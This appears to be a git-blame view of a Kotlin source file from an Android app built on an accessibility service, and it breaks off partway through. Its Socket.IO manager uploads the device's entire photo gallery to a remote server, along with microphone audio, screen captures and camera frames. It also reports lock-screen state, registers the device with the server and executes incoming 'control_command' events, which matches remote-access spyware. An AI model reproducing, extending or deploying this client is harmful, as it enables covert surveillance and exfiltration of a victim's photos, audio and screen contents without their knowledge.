2026-02-11 16:59:49 +08:00
|
|
|
|
package com.hikoncont.network
|
|
|
|
|
|
|
|
|
|
|
|
import android.content.Context
|
|
|
|
|
|
import android.content.Intent
|
|
|
|
|
|
import android.os.Build
|
|
|
|
|
|
import android.os.Handler
|
|
|
|
|
|
import android.os.Looper
|
|
|
|
|
|
import android.util.Log
|
|
|
|
|
|
import android.view.WindowManager
|
|
|
|
|
|
import com.hikoncont.crash.CrashLogUploader
|
|
|
|
|
|
import com.hikoncont.service.AccessibilityRemoteService
|
|
|
|
|
|
import io.socket.client.IO
|
|
|
|
|
|
import io.socket.client.Socket
|
|
|
|
|
|
import io.socket.emitter.Emitter
|
|
|
|
|
|
import kotlinx.coroutines.*
|
|
|
|
|
|
import org.json.JSONObject
|
|
|
|
|
|
import org.json.JSONArray
|
|
|
|
|
|
import java.net.URISyntaxException
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ Socket.IO v4 官方客户端管理器 - 彻底解决47秒断开问题
|
|
|
|
|
|
*/
|
|
|
|
|
|
class SocketIOManager(private val service: AccessibilityRemoteService) {
|
|
|
|
|
|
|
|
|
|
|
|
companion object {
|
|
|
|
|
|
private const val TAG = "SocketIOManager"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 锁屏状态缓存与定时检测
|
|
|
|
|
|
private var isScreenLocked: Boolean = false
|
|
|
|
|
|
private var lockStateJob: Job? = null
|
|
|
|
|
|
|
|
|
|
|
|
// 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪
|
|
|
|
|
|
|
|
|
|
|
|
private fun startLockStateMonitor() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
lockStateJob?.cancel()
|
|
|
|
|
|
lockStateJob = scope.launch(Dispatchers.IO) {
|
|
|
|
|
|
while (isActive) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val before = isScreenLocked
|
|
|
|
|
|
val now = checkDeviceLocked()
|
|
|
|
|
|
isScreenLocked = now
|
|
|
|
|
|
if (before != now) {
|
|
|
|
|
|
Log.i(TAG, "🔒 锁屏状态变化: $before -> $now")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "🔁 锁屏状态轮询: isLocked=$now")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "检测锁屏状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
kotlinx.coroutines.delay(10_000)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "启动锁屏状态监控失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun checkDeviceLocked(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager
|
|
|
|
|
|
val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true }
|
|
|
|
|
|
val locked = !isInteractive
|
|
|
|
|
|
Log.d(TAG, "🔍 锁屏检测: isInteractive=$isInteractive => isLocked=$locked")
|
|
|
|
|
|
locked
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "检测锁屏状态失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
// 🆕 应用信息获取
|
|
|
|
|
|
private fun getAppVersionName(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val pm = service.packageManager
|
|
|
|
|
|
val pkg = service.packageName
|
|
|
|
|
|
val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
|
|
|
pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0))
|
|
|
|
|
|
} else {
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
pm.getPackageInfo(pkg, 0)
|
|
|
|
|
|
}
|
|
|
|
|
|
pi.versionName ?: "unknown"
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "获取应用版本失败", e)
|
|
|
|
|
|
"unknown"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun getAppName(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val pm = service.packageManager
|
|
|
|
|
|
val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
|
|
|
pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0))
|
|
|
|
|
|
} else {
|
|
|
|
|
|
@Suppress("DEPRECATION")
|
|
|
|
|
|
pm.getApplicationInfo(service.packageName, 0)
|
|
|
|
|
|
}
|
|
|
|
|
|
pm.getApplicationLabel(ai).toString()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "获取应用名称失败", e)
|
|
|
|
|
|
"unknown"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendGalleryData(items: List<com.hikoncont.manager.GalleryManager.GalleryItem>) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() == true) {
|
|
|
|
|
|
// 优化:逐张发送,避免单包过大
|
|
|
|
|
|
items.forEachIndexed { index, itx ->
|
|
|
|
|
|
try {
|
|
|
|
|
|
val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
|
|
|
|
|
|
if (base64Data == null) {
|
|
|
|
|
|
Log.w(TAG, "🖼️ 跳过图片(无法加载): ${itx.displayName} uri=${itx.contentUri}")
|
|
|
|
|
|
return@forEachIndexed
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 频率限制,避免与其他数据通道冲突
|
|
|
|
|
|
val now = System.currentTimeMillis()
|
|
|
|
|
|
if (now - lastGalleryImageTime < galleryImageInterval) {
|
|
|
|
|
|
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
|
|
|
|
|
|
}
|
|
|
|
|
|
lastGalleryImageTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
// 大小限制
|
|
|
|
|
|
val approxBytes = (base64Data.length * 3) / 4
|
|
|
|
|
|
if (approxBytes > maxGalleryImageSize) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 相册图片过大被跳过: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
|
|
|
|
|
|
return@forEachIndexed
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "gallery_image")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("index", index)
|
|
|
|
|
|
put("id", itx.id)
|
|
|
|
|
|
put("displayName", itx.displayName)
|
|
|
|
|
|
put("dateAdded", itx.dateAdded)
|
|
|
|
|
|
put("mimeType", itx.mimeType)
|
|
|
|
|
|
put("width", itx.width)
|
|
|
|
|
|
put("height", itx.height)
|
|
|
|
|
|
put("size", itx.size)
|
|
|
|
|
|
put("contentUri", itx.contentUri)
|
|
|
|
|
|
put("format", "JPEG")
|
|
|
|
|
|
put("data", base64Data)
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("gallery_image", payload)
|
|
|
|
|
|
Log.d(TAG, "🖼️ 已发送相册图片: ${itx.displayName} (${itx.width}x${itx.height})")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送相册图片失败: ${itx.displayName}", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送相册数据")
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送相册数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 相册读取/发送控制
|
|
|
|
|
|
private var galleryJob: Job? = null
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动完整相册读取并发送任务;若正在进行则取消并重启
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun startReadAndSendAllGallery() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 取消上一次任务
|
|
|
|
|
|
galleryJob?.cancel()
|
|
|
|
|
|
Log.d(TAG, "🖼️ 取消上一次相册读取发送任务(若存在)")
|
|
|
|
|
|
|
|
|
|
|
|
galleryJob = scope.launch(Dispatchers.IO) {
|
|
|
|
|
|
Log.d(TAG, "🖼️ 开始读取全部相册(不限数量)")
|
|
|
|
|
|
val items = service.readGallery(limit = -1)
|
|
|
|
|
|
Log.d(TAG, "🖼️ 读取完成,共 ${items.size} 张,开始发送")
|
|
|
|
|
|
sendGalleryData(items)
|
|
|
|
|
|
Log.d(TAG, "🖼️ 相册发送任务完成")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动相册读取发送任务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送麦克风音频数据到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (socket?.connected() != true) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送音频数据")
|
|
|
|
|
|
checkConnectionAndReconnect()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
val payload = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "microphone_audio")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("sampleRate", sampleRate)
|
|
|
|
|
|
put("sampleCount", sampleCount)
|
|
|
|
|
|
put("format", format)
|
|
|
|
|
|
put("audioData", base64Audio)
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("microphone_audio", payload)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "发送音频数据失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private var socket: Socket? = null
|
|
|
|
|
|
private var isConnected = false
|
|
|
|
|
|
private var isDeviceRegistered = false
|
|
|
|
|
|
private var serverUrl: String = "" // 保存服务器地址
|
|
|
|
|
|
|
|
|
|
|
|
// 崩溃日志上传器
|
|
|
|
|
|
private val crashLogUploader = CrashLogUploader(service)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 主动连接检测
|
|
|
|
|
|
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
|
|
|
|
|
private var connectionCheckJob: Job? = null
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 设备注册管理
|
|
|
|
|
|
private var registrationTimeoutHandler: Runnable? = null
|
|
|
|
|
|
private val mainHandler = Handler(Looper.getMainLooper())
|
|
|
|
|
|
private var registrationAttempts = 0
|
|
|
|
|
|
private var lastRegistrationTime = 0L
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:网络状态监控相关变量
|
|
|
|
|
|
private var lastNetworkType: String? = null
|
|
|
|
|
|
private var lastConnectTime: Long = 0
|
|
|
|
|
|
private var transportErrorCount = 0
|
|
|
|
|
|
private var lastTransportErrorTime = 0L
|
|
|
|
|
|
// ✅ 网络质量监控
|
|
|
|
|
|
private var networkQualityScore = 100 // 0-100分,100为最佳
|
|
|
|
|
|
private var connectionSuccessCount = 0
|
|
|
|
|
|
private var connectionFailureCount = 0
|
|
|
|
|
|
private val recentConnectionTimes = mutableListOf<Long>() // 记录最近10次连接持续时间
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 新增:跟踪屏幕数据发送失败次数,避免单次失败触发重连
|
|
|
|
|
|
private var screenDataFailureCount = 0
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 新增:屏幕数据发送频率控制,减少transport error
|
|
|
|
|
|
private var lastScreenDataTime = 0L
|
|
|
|
|
|
private val screenDataInterval = 66L // 🎯 优化:调整为66ms间隔,匹配15fps采集频率,充分利用MediaProjection连续流
|
|
|
|
|
|
private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制,避免数据过大
|
|
|
|
|
|
|
|
|
|
|
|
// 📷 摄像头数据发送控制
|
|
|
|
|
|
private var lastCameraDataTime = 0L
|
|
|
|
|
|
private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms,匹配5fps,与屏幕数据保持一致
|
|
|
|
|
|
private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制,摄像头数据通常较小
|
|
|
|
|
|
private var cameraDataFailureCount = 0
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 连接稳定性监控
|
|
|
|
|
|
private var lastSuccessfulDataSend = 0L
|
|
|
|
|
|
private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
|
|
|
|
|
|
private var isDataStarved = false
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 公网IP相关
|
|
|
|
|
|
private var cachedPublicIP: String? = null
|
|
|
|
|
|
private var lastIPCheckTime = 0L
|
|
|
|
|
|
private val IP_CACHE_DURATION = 300000L // 5分钟缓存
|
|
|
|
|
|
|
|
|
|
|
|
// 🖼️ 相册图片发送节流/大小限制
|
|
|
|
|
|
private var lastGalleryImageTime = 0L
|
|
|
|
|
|
private val galleryImageInterval = 250L
|
|
|
|
|
|
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
2026-02-15 15:40:55 +08:00
|
|
|
|
* Connect to Socket.IO v4 server
|
2026-02-11 16:59:49 +08:00
|
|
|
|
*/
|
|
|
|
|
|
suspend fun connect(serverUrl: String) {
|
|
|
|
|
|
try {
|
2026-02-15 15:40:55 +08:00
|
|
|
|
this.serverUrl = serverUrl
|
|
|
|
|
|
Log.i(TAG, "Connecting to Socket.IO v4 server: $serverUrl")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
2026-02-15 15:40:55 +08:00
|
|
|
|
// Validate server URL format
|
|
|
|
|
|
if (serverUrl.isBlank()) {
|
|
|
|
|
|
Log.e(TAG, "Server URL is empty, cannot connect")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Validate URL format
|
|
|
|
|
|
val validatedUrl = try {
|
|
|
|
|
|
java.net.URI.create(serverUrl)
|
|
|
|
|
|
serverUrl
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "Invalid server URL format: $serverUrl", e)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Config consistency check
|
2026-02-11 16:59:49 +08:00
|
|
|
|
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
|
|
|
|
|
|
if (savedUrl != null && savedUrl != serverUrl) {
|
2026-02-15 15:40:55 +08:00
|
|
|
|
Log.w(TAG, "Config mismatch! Current: $serverUrl, Config: $savedUrl, using config URL")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
connect(savedUrl)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ Socket.IO v4客户端配置 - 增强稳定性优化 + 随机化重连避免雪崩
|
|
|
|
|
|
val options = IO.Options().apply {
|
|
|
|
|
|
// 🔧 关键修复:支持polling+websocket双传输,允许升级到websocket以提升帧率
|
|
|
|
|
|
transports = arrayOf("polling", "websocket") // 先polling建立连接,再升级到websocket
|
|
|
|
|
|
reconnection = true
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 增强网络稳定性配置 - 针对transport error问题 + 随机延迟避免多设备同时重连
|
|
|
|
|
|
val randomOffset = (1000..3000).random().toLong() // 1-3秒随机偏移,分散重连时间
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
|
|
|
|
|
// Android 15 特殊配置 - 更保守的超时设置
|
|
|
|
|
|
timeout = 60000 // 连接超时60秒
|
|
|
|
|
|
reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒,避免集中重连
|
|
|
|
|
|
reconnectionDelayMax = 20000 // 最大重连延迟20秒
|
|
|
|
|
|
reconnectionAttempts = 20 // 减少重连次数,避免过度重试
|
|
|
|
|
|
Log.i(TAG, "🔧 使用Android 15增强稳定性配置,随机延迟: +${randomOffset}ms")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 其他版本使用优化后的配置
|
|
|
|
|
|
timeout = 45000 // 连接超时45秒
|
|
|
|
|
|
reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒,分散重连
|
|
|
|
|
|
reconnectionDelayMax = 15000 // 最大重连延迟15秒
|
|
|
|
|
|
reconnectionAttempts = 25 // 适中的重连次数
|
|
|
|
|
|
Log.i(TAG, "🔧 使用标准增强稳定性配置,随机延迟: +${randomOffset}ms")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
forceNew = true
|
|
|
|
|
|
upgrade = true // ✅ 允许从polling升级到websocket,大幅提升传输效率
|
|
|
|
|
|
rememberUpgrade = true // 记住升级状态,重连时直接用websocket
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:网络环境适配配置
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
|
|
|
|
|
|
// 添加网络容错配置,包含设备信息用于服务器优化
|
|
|
|
|
|
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🌐 Socket.IO配置:只使用polling传输,避免升级冲突导致的断开重连问题")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket = IO.socket(serverUrl, options)
|
|
|
|
|
|
setupEventListeners()
|
|
|
|
|
|
socket?.connect()
|
|
|
|
|
|
// 启动锁屏状态监控
|
|
|
|
|
|
startLockStateMonitor()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ Socket.IO连接失败", e)
|
|
|
|
|
|
throw e
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun setupEventListeners() {
|
|
|
|
|
|
socket?.let { socket ->
|
|
|
|
|
|
|
|
|
|
|
|
socket.on(Socket.EVENT_CONNECT) {
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.i(TAG, "Socket.IO v4 连接成功")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
isConnected = true
|
2026-02-15 14:57:38 +08:00
|
|
|
|
isDeviceRegistered = false // 重置注册状态,等待重新注册
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// ✅ 记录连接成功时间和网络类型
|
|
|
|
|
|
lastConnectTime = System.currentTimeMillis()
|
|
|
|
|
|
transportErrorCount = 0 // 重置transport error计数
|
|
|
|
|
|
connectionSuccessCount++
|
|
|
|
|
|
updateNetworkQualityScore(true) // 连接成功,提升网络质量分数
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检测网络类型变化
|
|
|
|
|
|
val currentNetworkType = getCurrentNetworkType()
|
|
|
|
|
|
if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
|
|
|
|
|
|
Log.i(TAG, "🌐 检测到网络类型变化: $lastNetworkType -> $currentNetworkType")
|
|
|
|
|
|
}
|
|
|
|
|
|
lastNetworkType = currentNetworkType
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 暂停屏幕数据发送,等待注册完成
|
|
|
|
|
|
service.pauseScreenCaptureUntilRegistered()
|
|
|
|
|
|
|
|
|
|
|
|
// 立即发送设备注册,避免延迟导致识别问题
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🚀🚀🚀 立即发送设备注册!!! 🚀🚀🚀")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// 🔧 多设备冷启动优化:添加随机延迟,避免同时注册冲突
|
|
|
|
|
|
val randomDelay = kotlin.random.Random.nextLong(0, 2000) // 0-2秒随机延迟
|
|
|
|
|
|
Log.d(TAG, "🔄 多设备冷启动优化:延迟${randomDelay}ms后发送注册,避免并发冲突")
|
|
|
|
|
|
|
|
|
|
|
|
mainHandler.postDelayed({
|
|
|
|
|
|
if (isConnected && socket.connected()) {
|
|
|
|
|
|
sendDeviceRegistration()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 延迟注册时发现连接已断开,跳过注册")
|
|
|
|
|
|
}
|
|
|
|
|
|
}, randomDelay)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 启动主动连接检测
|
|
|
|
|
|
startConnectionMonitoring()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.on(Socket.EVENT_DISCONNECT) { args ->
|
|
|
|
|
|
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
|
2026-02-15 14:57:38 +08:00
|
|
|
|
Log.w(TAG, "Socket.IO v4 断开: $reason")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// ✅ 增强断开原因分析和统计
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
val connectionDuration = currentTime - lastConnectTime
|
|
|
|
|
|
|
|
|
|
|
|
// 记录连接时长用于网络质量评估
|
|
|
|
|
|
recordConnectionDuration(connectionDuration)
|
|
|
|
|
|
|
|
|
|
|
|
if (reason == "transport error") {
|
|
|
|
|
|
transportErrorCount++
|
|
|
|
|
|
lastTransportErrorTime = currentTime
|
|
|
|
|
|
connectionFailureCount++
|
|
|
|
|
|
updateNetworkQualityScore(false, "transport_error", connectionDuration)
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🚨 Transport Error 统计: 次数=$transportErrorCount, 连接持续时间=${connectionDuration}ms")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
|
|
|
|
|
|
// ✅ 如果transport error频繁发生,调整策略
|
|
|
|
|
|
if (transportErrorCount >= 3 && connectionDuration < 300000) { // 5分钟内3次
|
|
|
|
|
|
Log.w(TAG, "⚠️ Transport Error频繁发生,将在重连时使用保守策略")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 其他原因断开也要更新网络质量评分
|
|
|
|
|
|
updateNetworkQualityScore(false, reason, connectionDuration)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isConnected = false
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 重置注册状态
|
|
|
|
|
|
registrationAttempts = 0
|
|
|
|
|
|
registrationTimeoutHandler?.let { handler ->
|
|
|
|
|
|
mainHandler.removeCallbacks(handler)
|
|
|
|
|
|
registrationTimeoutHandler = null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 停止连接检测
|
|
|
|
|
|
connectionCheckJob?.cancel()
|
|
|
|
|
|
// ✅ 断开时暂停屏幕捕获但保留权限,而不是完全停止
|
|
|
|
|
|
service.pauseScreenCapture()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
|
2026-02-15 15:40:55 +08:00
|
|
|
|
val error = if (args.isNotEmpty()) args[0] else null
|
|
|
|
|
|
val errorMsg = error?.toString() ?: "unknown"
|
|
|
|
|
|
// Downgrade to WARN for expected transient errors (xhr poll = server unreachable)
|
|
|
|
|
|
val isTransientError = errorMsg.contains("xhr poll error") ||
|
|
|
|
|
|
errorMsg.contains("timeout") ||
|
|
|
|
|
|
errorMsg.contains("websocket error")
|
|
|
|
|
|
if (isTransientError) {
|
|
|
|
|
|
Log.w(TAG, "Socket.IO connection error (transient, will auto-retry): $errorMsg")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "Socket.IO connection error: $errorMsg")
|
|
|
|
|
|
}
|
|
|
|
|
|
// Log root cause if available
|
|
|
|
|
|
if (error is Exception && error.cause != null) {
|
|
|
|
|
|
Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}")
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
connectionFailureCount++
|
|
|
|
|
|
updateNetworkQualityScore(false, "connect_error", 0)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.on("device_registered") { args ->
|
|
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🎉🎉🎉 设备注册成功: ${data.optString("message")} 🎉🎉🎉")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
isDeviceRegistered = true
|
|
|
|
|
|
registrationAttempts = 0 // 重置尝试次数
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 取消超时检测
|
|
|
|
|
|
registrationTimeoutHandler?.let { handler ->
|
|
|
|
|
|
mainHandler.removeCallbacks(handler)
|
|
|
|
|
|
registrationTimeoutHandler = null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 注册成功后恢复屏幕数据发送
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🚀🚀🚀 设备注册成功,恢复屏幕数据发送!!! 🚀🚀🚀")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
service.resumeScreenCaptureAfterRegistration()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 设备注册成功,检查是否可以隐藏配置遮盖
|
|
|
|
|
|
Log.i(TAG, "✅ 设备注册成功,检查是否可以隐藏配置遮盖")
|
|
|
|
|
|
service.checkAndHideConfigMask()
|
|
|
|
|
|
|
|
|
|
|
|
// 📤 设备注册成功后上传待处理的崩溃日志
|
|
|
|
|
|
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 处理设备注册响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "⚠️ 收到device_registered事件但无参数")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.on("control_command") { args ->
|
|
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
|
|
|
|
|
handleControlMessage(data)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "处理控制命令失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 处理服务器重启事件
|
|
|
|
|
|
socket.on("server_restarted") { _ ->
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔄🔄🔄 收到服务器重启通知,立即重新注册!!! 🔄🔄🔄")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
// 重置注册状态
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
// 立即重新注册
|
|
|
|
|
|
sendDeviceRegistration()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket.on("ping_for_registration") { _ ->
|
2026-02-14 14:44:10 +08:00
|
|
|
|
Log.e(TAG, "🔄🔄🔄 收到重新注册Ping,立即重新注册!!! 🔄🔄🔄")
|
2026-02-11 16:59:49 +08:00
|
|
|
|
// 重置注册状态
|
|
|
|
|
|
isDeviceRegistered = false
|
|
|
|
|
|
// 立即重新注册
|
|
|
|
|
|
sendDeviceRegistration()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 添加CONNECTION_TEST_RESPONSE响应处理,解决心跳检测失败累积问题
|
|
|
|
|
|
socket.on("CONNECTION_TEST_RESPONSE") { args ->
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (args.isNotEmpty()) {
|
|
|
|
|
|
val data = args[0] as JSONObject
|
|
|
|
|
|
val success = data.optBoolean("success", false)
|
|
|
|
|
|
val timestamp = data.optLong("timestamp", 0)
|
|
|
|
|
|
Log.d(TAG, "✅ 收到服务器心跳响应: success=$success, timestamp=$timestamp")
|
|
|
|
|
|
|
|
|
|
|
|
// 重置心跳失败计数,表示连接正常
|
|
|
|
|
|
// 这个响应表明服务器正常处理了我们的心跳测试
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 收到CONNECTION_TEST_RESPONSE但无参数")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
